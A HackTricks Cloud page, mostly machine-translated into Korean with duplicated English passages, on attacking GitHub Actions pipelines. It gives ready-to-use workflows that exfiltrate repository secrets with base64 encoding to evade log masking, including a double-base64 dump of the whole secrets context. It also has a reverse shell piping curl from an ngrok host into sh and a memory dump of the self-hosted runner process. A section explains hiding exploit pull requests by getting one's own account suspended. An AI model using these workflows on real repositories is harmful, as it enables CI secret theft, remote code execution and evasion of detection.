Abusing Github Actions
Reading time: 24 minutes
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
도구
다음 도구들은 Github Action 워크플로우를 찾고 취약한 워크플로우를 발견하는 데 유용합니다:
- https://github.com/CycodeLabs/raven
- https://github.com/praetorian-inc/gato
- https://github.com/AdnaneKhan/Gato-X
- https://github.com/carlospolop/PurplePanda
- https://github.com/zizmorcore/zizmor - 체크리스트는 https://docs.zizmor.sh/audits도 확인하세요
기본 정보
이 페이지에서는 다음을 다룹니다:
- 공격자가 Github Action에 접근하는 데 성공했을 때의 모든 영향 요약
- 액션에 액세스하는 다양한 방법:
- 액션을 생성할 권한(permissions) 보유
- pull request 관련 트리거 악용
- 기타 외부 접근 기법 악용
- 이미 손상된 repo에서의 피벗
- 마지막으로, 내부에서 액션을 악용하기 위한 사후 탐지·악용 기법(post-exploitation techniques) 섹션
영향 요약
Github Actions 기본 정보 확인에서 도입부를 참고하세요.
저장소 내에서 GitHub Actions에서 임의의 코드 실행이 가능하다면 다음을 할 수 있습니다:
- 파이프라인에 마운트된 secrets를 훔치고, 파이프라인 권한을 악용해 AWS 및 GCP 같은 외부 플랫폼에 무단 접근할 수 있습니다.
- 배포와 기타 artifacts를 손상시킬 수 있습니다.
- 파이프라인이 자산을 배포하거나 저장하는 경우, 최종 제품을 변경하여 supply chain attack을 유발할 수 있습니다.
- 커스텀 워커에서 코드를 실행해 컴퓨팅 자원을 악용하고 다른 시스템으로 pivot할 수 있습니다.
GITHUB_TOKEN에 연관된 권한에 따라 저장소 코드를 덮어쓸 수 있습니다.
GITHUB_TOKEN
이 "secret" ( ${{ secrets.GITHUB_TOKEN }} 및 ${{ github.token }}에서 제공되는)은 관리자가 이 옵션을 활성화했을 때 주어집니다:
.png)
이 토큰은 Github Application이 사용할 것과 동일한 토큰이므로 동일한 엔드포인트에 접근할 수 있습니다: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps
warning
Github는 flow를 출시하여 GitHub 내에서 cross-repository 접근을 허용함으로써, 한 repo가 GITHUB_TOKEN을 사용해 다른 내부 repo에 접근할 수 있도록 할 예정입니다.
이 토큰의 가능한 permissions는 다음에서 확인할 수 있습니다: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token
참고: 이 토큰은 작업이 완료된 후 만료됩니다.
이러한 토큰은 다음과 같은 형태를 가집니다: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7
이 토큰으로 할 수 있는 흥미로운 몇 가지 작업:
# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"
caution
몇몇 경우 github user tokens inside Github Actions envs or in the secrets을 발견할 수 있습니다. 이 토큰들은 리포지토리 및 조직에 대해 더 많은 권한을 부여할 수 있습니다.
Github Action output에서 secrets 나열
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
secrets를 사용하여 reverse shell 얻기
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
다른 사용자 저장소에서 Github Token에 부여된 권한을 Github Actions의 로그를 확인하여 확인할 수 있습니다:
.png)
허용된 실행
note
이것은 Github Actions를 탈취하기 위한 가장 쉬운 방법일 것입니다. 이 경우 조직에 새 저장소를 생성할 수 있는 권한, 또는 저장소에 대한 쓰기 권한이 있다고 가정합니다.
이 시나리오에 해당한다면 Post Exploitation techniques를 확인하면 됩니다.
저장소 생성에서의 실행
조직 구성원이 create new repos 수 있고 당신이 Github Actions를 실행할 수 있다면, create a new repo and steal the secrets set at organization level 할 수 있습니다.
새 브랜치에서의 실행
이미 Github Action이 구성된 저장소에서 create a new branch in a repository that already contains a Github Action 수 있다면, 이를 modify 하고, 콘텐츠를 upload 한 다음 execute that action from the new branch 할 수 있습니다. 이렇게 하면 exfiltrate repository and organization level secrets (하지만 그들이 어떻게 불리는지 알아야 합니다).
warning
workflow YAML 내부에만 구현된 제한사항(예: on: push: branches: [main], job conditionals, 또는 수동 게이트)은 협업자가 편집할 수 있습니다. 외부의 강제(브랜치 보호, 보호된 환경, 보호된 태그)가 없다면, 기여자는 워크플로우의 실행 대상을 자신의 브랜치로 변경하여 마운트된 시크릿/권한을 악용할 수 있습니다.
수정된 action을 수동으로, PR이 생성될 때 또는 코드가 푸시될 때 실행되도록 만들 수 있습니다(얼마나 눈에 띄게 할지는 선택에 따라 다름):
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches
포크된 실행
note
공격자가 다른 repository의 Github Action을 실행할 수 있게 하는 다양한 트리거가 있습니다. 이러한 트리거가 잘못 구성되어 있으면 공격자가 이를 악용할 수 있습니다.
pull_request
워크플로 트리거 **pull_request**는 일부 예외를 제외하고 풀 리퀘스트가 들어올 때마다 워크플로를 실행합니다: 기본적으로 처음으로 협업하는 경우에는 일부 maintainer가 워크플로의 실행(run) 을 승인(approve) 해야 합니다:
.png)
note
기본 제한이 첫 기여자(first-time contributors) 에 적용되므로, 유효한 버그/오타 수정으로 기여한 뒤 새로 얻은 pull_request 권한을 악용하기 위해 다른 PR들을 보낼 수 있습니다.
저는 이걸 테스트했지만 작동하지 않았습니다: 다른 옵션으로 프로젝트에 기여했던 사람의 이름으로 계정을 만들고 그 사람의 계정을 삭제하는 방법이 있습니다.
또한 기본적으로 대상 repository에 대한 write permissions 및 secrets 접근을 차단한다고 docs에서 언급하고 있습니다:
With the exception of
GITHUB_TOKEN, secrets are not passed to the runner when a workflow is triggered from a forked repository. TheGITHUB_TOKENhas read-only permissions in pull requests from forked repositories.
공격자는 Github Action의 정의를 수정해 임의의 명령을 실행하거나 임의의 액션을 추가할 수 있습니다. 다만 앞서 언급한 제한 때문에 secrets를 훔치거나 repo를 덮어쓸 수는 없습니다.
caution
네, 공격자가 PR에서 트리거될 github action을 변경하면, 사용되는 것은 원본 repo의 것이 아니라 공격자가 추가한 Github Action입니다!
공격자가 실행되는 코드를 제어하므로, GITHUB_TOKEN에 secrets나 쓰기 권한이 없더라도 예를 들어 악성 아티팩트 업로드(upload malicious artifacts) 같은 동작을 할 수 있습니다.
pull_request_target
워크플로 트리거 **pull_request_target**는 대상 repository에 대한 write permission과 secrets 접근 권한을 가지며 (권한을 요청하지 않습니다).
워크플로 트리거 **pull_request_target**는 PR에서 제공되는 컨텍스트가 아니라 base 컨텍스트에서 실행(run in the base context) 된다는 점에 유의하세요 (신뢰되지 않는 코드를 실행하지 않기 위해). pull_request_target에 대한 자세한 내용은 check the docs에서 확인하세요.
또한 이 특정 위험한 사용 사례에 대해서는 github blog post를 참고하세요.
실행되는 워크플로가 base에 정의된 것이고 PR의 것이 아닌 것처럼 보여 pull_request_target를 사용하는 것이 안전해 보일 수 있지만, 안전하지 않은 몇 가지 경우가 있습니다.
이 경우는 secrets에 접근할 수 있습니다.
workflow_run
workflow_run 트리거는 다른 워크플로가 completed, requested 또는 in_progress일 때 워크플로를 실행하도록 허용합니다.
이 예에서는 별도의 "Run Tests" 워크플로가 완료된 후에 실행되도록 워크플로가 구성되어 있습니다:
on:
workflow_run:
workflows: [Run Tests]
types:
- completed
Moreover, according to the docs: The workflow started by the workflow_run event is able to access secrets and write tokens, even if the previous workflow was not.
또한 문서에 따르면: workflow_run 이벤트로 시작된 workflow는 이전 workflow가 그렇지 않더라도 secrets에 접근하고 토큰을 쓸 수 있습니다.
This kind of workflow could be attacked if it's depending on a workflow that can be triggered by an external user via pull_request or pull_request_target. A couple of vulnerable examples can be found this blog. The first one consist on the workflow_run triggered workflow downloading out the attackers code: ${{ github.event.pull_request.head.sha }}
이러한 종류의 workflow는 외부 사용자가 pull_request 또는 **pull_request_target**을 통해 트리거할 수 있는 workflow에 의존할 경우 공격당할 수 있습니다. 몇 가지 취약한 예시는 이 블로그에서 찾을 수 있습니다. 첫 번째 예는 **workflow_run**으로 트리거된 workflow가 공격자의 코드를 다운로드하는 경우입니다: ${{ github.event.pull_request.head.sha }}
The second one consist on passing an artifact from the untrusted code to the workflow_run workflow and using the content of this artifact in a way that makes it vulnerable to RCE.
두 번째 예는 신뢰할 수 없는 코드에서 artifact를 workflow_run workflow로 전달하고, 그 artifact의 내용을 RCE에 취약한 방식으로 사용하는 경우입니다.
workflow_call
TODO
TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR TODO: pull_request에서 실행될 때 사용/다운로드되는 코드가 원본(repo)에서 온 것인지 포크된 PR의 것인지 확인
Abusing Forked Execution
포크된 실행 남용
We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused: 외부 공격자가 github workflow를 실행시키는 모든 방법을 언급했습니다. 이제 이러한 실행들이 잘못 구성되었을 때 어떻게 남용될 수 있는지 살펴보겠습니다.
Untrusted checkout execution
신뢰할 수 없는 checkout 실행
In the case of pull_request, the workflow is going to be executed in the context of the PR (so it'll execute the malicious PRs code), but someone needs to authorize it first and it will run with some limitations.
**pull_request**의 경우 workflow는 PR의 컨텍스트에서 실행되므로 (악성 PR의 코드가 실행됩니다). 다만 누군가 먼저 승인해야 하며 일부 제한사항과 함께 실행됩니다.
In case of a workflow using pull_request_target or workflow_run that depends on a workflow that can be triggered from pull_request_target or pull_request the code from the original repo will be executed, so the attacker cannot control the executed code.
pull_request_target 또는 **workflow_run**을 사용하고, 그 workflow가 pull_request_target 또는 **pull_request**로 트리거될 수 있는 다른 workflow에 의존하는 경우 원본 리포지토의 코드가 실행되므로 공격자가 실행 코드를 제어할 수 없습니다.
caution
However, if the action has an explicit PR checkout that will get the code from the PR (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded): 하지만 action이 명시적으로 PR에서 checkout하도록 설정되어 있어 PR의 코드를 가져오는 경우(base가 아닌), 공격자가 제어하는 코드가 사용됩니다. 예를 들어 (PR 코드가 다운로드되는 12번째 줄을 확인하세요):
# INSECURE. Provided as an example only.
on:
pull_request_target
jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
with:
ref: ${{ github.event.pull_request.head.sha }}
- uses: actions/setup-node@v1
- run: |
npm install
npm build
- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}
- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!
The potentially untrusted code is being run during npm install or npm build as the build scripts and referenced packages are controlled by the author of the PR.
빌드 스크립트와 참조된 packages는 PR 작성자가 제어하므로, 잠재적으로 신뢰할 수 없는 코드가 npm install 또는 npm build 중에 실행될 수 있습니다.
warning
A github dork to search for vulnerable actions is: event.pull_request pull_request_target extension:yml however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
경고: 취약한 action을 검색하기 위한 github dork는 event.pull_request pull_request_target extension:yml 입니다. 그러나 action이 안전하지 않게 구성되어 있더라도 작업을 안전하게 구성하는 다양한 방법이 있습니다(예: PR을 생성한 actor가 누구인지에 대한 조건문 사용).
Context Script Injections
Context Script Injections
Note that there are certain github contexts whose values are controlled by the user creating the PR. If the github action is using that data to execute anything, it could lead to arbitrary code execution: PR을 만드는 사용자가 값들을 제어하는 특정 github contexts가 있다는 점에 유의하세요. 만약 github action이 그 데이터를 사용해 어떤 작업이라도 실행한다면, 임의 코드 실행으로 이어질 수 있습니다:
Gh Actions - Context Script Injections
GITHUB_ENV Script Injection
GITHUB_ENV Script Injection
From the docs: You can make an environment variable available to any subsequent steps in a workflow job by defining or updating the environment variable and writing this to the GITHUB_ENV environment file.
문서에 따르면: 환경 변수를 정의하거나 업데이트하고 이를 GITHUB_ENV 환경 파일에 기록하면 해당 workflow job의 이후 단계에서 환경 변수를 사용할 수 있게 됩니다.
If an attacker could inject any value inside this env variable, he could inject env variables that could execute code in following steps such as LD_PRELOAD or NODE_OPTIONS. 공격자가 이 env 변수에 임의의 값을 주입할 수 있다면, 이후 단계에서 코드 실행을 유발할 수 있는 LD_PRELOAD나 NODE_OPTIONS 같은 환경 변수를 주입할 수 있습니다.
For example (this and this), imagine a workflow that is trusting an uploaded artifact to store its content inside GITHUB_ENV env variable. An attacker could upload something like this to compromise it:
예를 들어 (이것 및 이것), 업로드된 artifact의 내용을 GITHUB_ENV 환경 변수에 저장하는 것을 신뢰하는 workflow를 상상해보세요. 공격자는 이를 손상시키기 위해 다음과 같은 내용을 업로드할 수 있습니다:
.png)
Dependabot and other trusted bots
Dependabot 및 기타 신뢰된 봇
As indicated in this blog post, several organizations have a Github Action that merges any PRR from dependabot[bot] like in:
이 블로그 게시물에 따르면, 여러 조직이 dependabot[bot]의 모든 PR을 병합하는 Github Action을 가지고 있습니다. 예:
on: pull_request_target
jobs:
auto-merge:
runs-on: ubuntu-latest
if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: gh pr merge $ -d -m
Which is a problem because the github.actor field contains the user who caused the latest event that triggered the workflow. And There are several ways to make the dependabot[bot] user to modify a PR. For example:
- Fork the victim repository
- Add the malicious payload to your copy
- Enable Dependabot on your fork adding an outdated dependency. Dependabot will create a branch fixing the dependency with malicious code.
- Open a Pull Request to the victim repository from that branch (the PR will be created by the user so nothing will happen yet)
- Then, attacker goes back to the initial PR Dependabot opened in his fork and runs
@dependabot recreate - Then, Dependabot perform some actions in that branch, that modified the PR over the victim repo, which makes
dependabot[bot]the actor of the latest event that triggered the workflow (and therefore, the workflow runs).
Moving on, what if instead of merging the Github Action would have a command injection like in:
on: pull_request_target
jobs:
just-printing-stuff:
runs-on: ubuntu-latest
if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: echo ${ { github.event.pull_request.head.ref }}
Well, the original blogpost proposes two options to abuse this behavior being the second one:
- 피해자 repository를 fork하고, 오래된 dependency로 Dependabot을 활성화한다.
- 악성 shell injeciton 코드를 포함한 새 브랜치를 만든다.
- repo의 default branch를 해당 브랜치로 변경한다.
- 이 브랜치로 피해자 repository에 PR을 만든다.
- 피해자의 포크에서 Dependabot이 연 PR에
@dependabot merge를 실행한다. - Dependabot는 포크된 저장소의 default branch에 변경사항을 병합하며, 피해자 repository의 PR을 업데이트하고 이제 워크플로우를 트리거한 최신 이벤트의 actor가
dependabot[bot]이 되며 악성 브랜치 이름을 사용하게 된다.
Vulnerable Third Party Github Actions
dawidd6/action-download-artifact
As mentioned in this blog post, 이 Github Action은 서로 다른 workflows 및 심지어 다른 repositories의 artifacts에 접근할 수 있게 한다.
문제는 path 파라미터가 설정되지 않으면 artifact가 현재 디렉터리에 추출되어 워크플로우에서 나중에 사용되거나 심지어 실행될 수 있는 파일을 덮어쓸 수 있다는 점이다. 따라서 Artifact가 취약하면 공격자는 이를 악용해 Artifact를 신뢰하는 다른 workflows를 손상시킬 수 있다.
Example of vulnerable workflow:
on:
workflow_run:
workflows: ["some workflow"]
types:
- completed
jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py
이는 다음 워크플로로 공격할 수 있습니다:
name: "some workflow"
on: pull_request
jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py
기타 외부 접근
Deleted Namespace Repo Hijacking
계정 이름이 변경되면 일정 시간이 지난 후 다른 사용자가 그 이름으로 계정을 등록할 수 있습니다. 만약 repository가 이름 변경 이전에 less than 100 stars previously to the change of name였다면, Github는 동일한 이름을 가진 새 사용자가 삭제된 것과 동일한 repository with the same name을 생성하는 것을 허용합니다.
caution
따라서 만약 action이 존재하지 않는 계정의 repo를 사용하고 있다면, 공격자가 해당 계정을 생성하여 action을 탈취할 수 있습니다.
만약 다른 repository들이 이 사용자 repos의 dependencies from this user repos를 사용하고 있었다면, 공격자는 이를 하이재킹할 수 있습니다. 보다 자세한 설명은 다음을 참조하세요: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/
Repo Pivoting
note
이 섹션에서는 첫 번째 repo에 어떤 식으로든 접근 권한이 있다고 가정할 때, 한 repo에서 다른 repo로 pivot from one repo to another 할 수 있는 기법들에 대해 설명합니다(이전 섹션을 확인하세요).
Cache Poisoning
같은 브랜치 내의 wokflow runs in the same branch 사이에는 cache가 유지됩니다. 즉 공격자가 compromise한 package가 캐시에 저장되고, 이후 더 권한이 높은 more privileged workflow가 이를 downloaded하여 실행하면 해당 workflow 역시 compromise될 수 있습니다.
Artifact Poisoning
Workflows는 다른 workflows나 심지어 repos의 artifacts from other workflows and even repos를 사용할 수 있습니다. 공격자가 나중에 다른 workflow에서 사용되는 아티팩트를 uploads an artifact하는 Github Action을 compromise하면, 해당 공격자는 다른 workflows들도 compromise할 수 있습니다:
Gh Actions - Artifact Poisoning
Post Exploitation from an Action
Github Action Policies Bypass
앞서 this blog post에서 언급했듯이, repository나 organization이 특정 actions의 사용을 제한하는 정책을 가지고 있더라도, 공격자는 단순히 workflow 내부에서 해당 action을 git clone으로 다운로드한 다음 로컬 action으로 참조할 수 있습니다. 정책은 로컬 경로에 영향을 미치지 않으므로, the action will be executed without any restriction.
예:
on: [push, pull_request]
jobs:
test:
runs-on: ubuntu-latest
steps:
- run: |
mkdir -p ./tmp
git clone https://github.com/actions/checkout.git ./tmp/checkout
- uses: ./tmp/checkout
with:
repository: woodruffw/gha-hazmat
path: gha-hazmat
- run: ls && pwd
- run: ls tmp/checkout
OIDC를 통한 AWS, Azure 및 GCP 접근
다음 페이지를 확인하세요:
secrets에 접근하기
스크립트에 콘텐츠를 주입하는 경우 secrets에 접근하는 방법을 알아두면 좋습니다:
- secret 또는 token이 환경 변수로 설정되어 있으면, **
printenv**를 사용해 환경에서 직접 접근할 수 있습니다.
Github Action 출력에서 secrets 나열
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
secrets로 reverse shell 얻기
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
- If the secret is used directly in an expression, the generated shell script is stored on-disk and is accessible.
-
cat /home/runner/work/_temp/*
- For a JavaScript actions the secrets and sent through environment variables
- ```bash
ps axe | grep node
- For a custom action, the risk can vary depending on how a program is using the secret it obtained from the argument:
uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}
- Enumerate all secrets via the secrets context (collaborator level). A contributor with write access can modify a workflow on any branch to dump all repository/org/environment secrets. Use double base64 to evade GitHub’s log masking and decode locally:
name: Steal secrets
on:
push:
branches: [ attacker-branch ]
jobs:
dump:
runs-on: ubuntu-latest
steps:
- name: Double-base64 the secrets context
run: |
echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
Decode locally:
echo "ZXdv...Zz09" | base64 -d | base64 -d
Tip: for stealth during testing, encrypt before printing (openssl is preinstalled on GitHub-hosted runners).
Abusing Self-hosted runners
The way to find which Github Actions are being executed in non-github infrastructure is to search for runs-on: self-hosted in the Github Action configuration yaml.
Self-hosted runners might have access to extra sensitive information, to other network systems (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, more than one action might be run at the same time and the malicious one could steal the secrets of the other one.
In self-hosted runners it's also possible to obtain the secrets from the _Runner.Listener_** process** which will contain all the secrets of the workflows at any step by dumping its memory:
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
Check this post for more information.
Github Docker Images Registry
Github actions를 만들어 Docker 이미지를 Github 내부에 빌드하고 저장할 수 있습니다.\
다음 확장 섹션에서 예제를 확인할 수 있습니다:
Github Action Build & Push Docker Image
[...]
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v1
- name: Login to GitHub Container Registry
uses: docker/login-action@v1
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.ACTIONS_TOKEN }}
- name: Add Github Token to Dockerfile to be able to download code
run: |
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
- name: Build and push
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: |
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
[...]
이전 코드에서 볼 수 있듯이, Github 레지스트리는 **ghcr.io**에 호스팅되어 있습니다.
repo에 대한 읽기 권한이 있는 사용자는 personal access token을 사용하여 Docker Image를 다운로드할 수 있습니다:
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
그런 다음, 사용자는 leaked secrets in the Docker image layers: 를 검색할 수 있습니다
Github Actions 로그의 민감한 정보
심지어 Github가 actions 로그에서 detect secret values를 시도하고 이를 표시하지 않도록 하더라도, 액션 실행 중 생성될 수 있는 다른 민감한 데이터는 숨겨지지 않습니다. 예를 들어 비밀 값으로 서명된 JWT는 specifically configured되지 않는 한 숨겨지지 않습니다.
흔적 지우기
(Technique from here) 우선, 생성된 모든 PR은 Github에서 공개적으로 그리고 대상 GitHub 계정에 명확히 보입니다. GitHub에서는 기본적으로 인터넷상의 PR을 삭제할 수 없지만, 반전이 있습니다. GitHub에 의해 계정이 **정지(suspended)**되면, 해당 계정의 모든 PR은 자동으로 삭제되어 인터넷에서 제거됩니다. 따라서 활동을 숨기려면 GitHub 계정을 정지시키거나 계정에 플래그를 달리게 해야 합니다. 이렇게 하면 GitHub 상의 모든 활동이 인터넷에서 숨겨집니다(기본적으로 exploit PR을 모두 제거).
GitHub의 어떤 organization은 계정을 GitHub에 보고하는 데 매우 적극적입니다. Issue에 “몇 가지”를 공유하기만 하면, 그들은 12시간 내에 당신의 계정을 정지시켜줄 것입니다 :p 그러면 당신의 exploit이 github에서 보이지 않게 됩니다.
warning
조직이 자신들이 타깃이 되었는지 알아내는 유일한 방법은 GitHub UI에서는 PR이 제거되기 때문에 SIEM에서 GitHub 로그를 확인하는 것입니다.
References
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks Cloud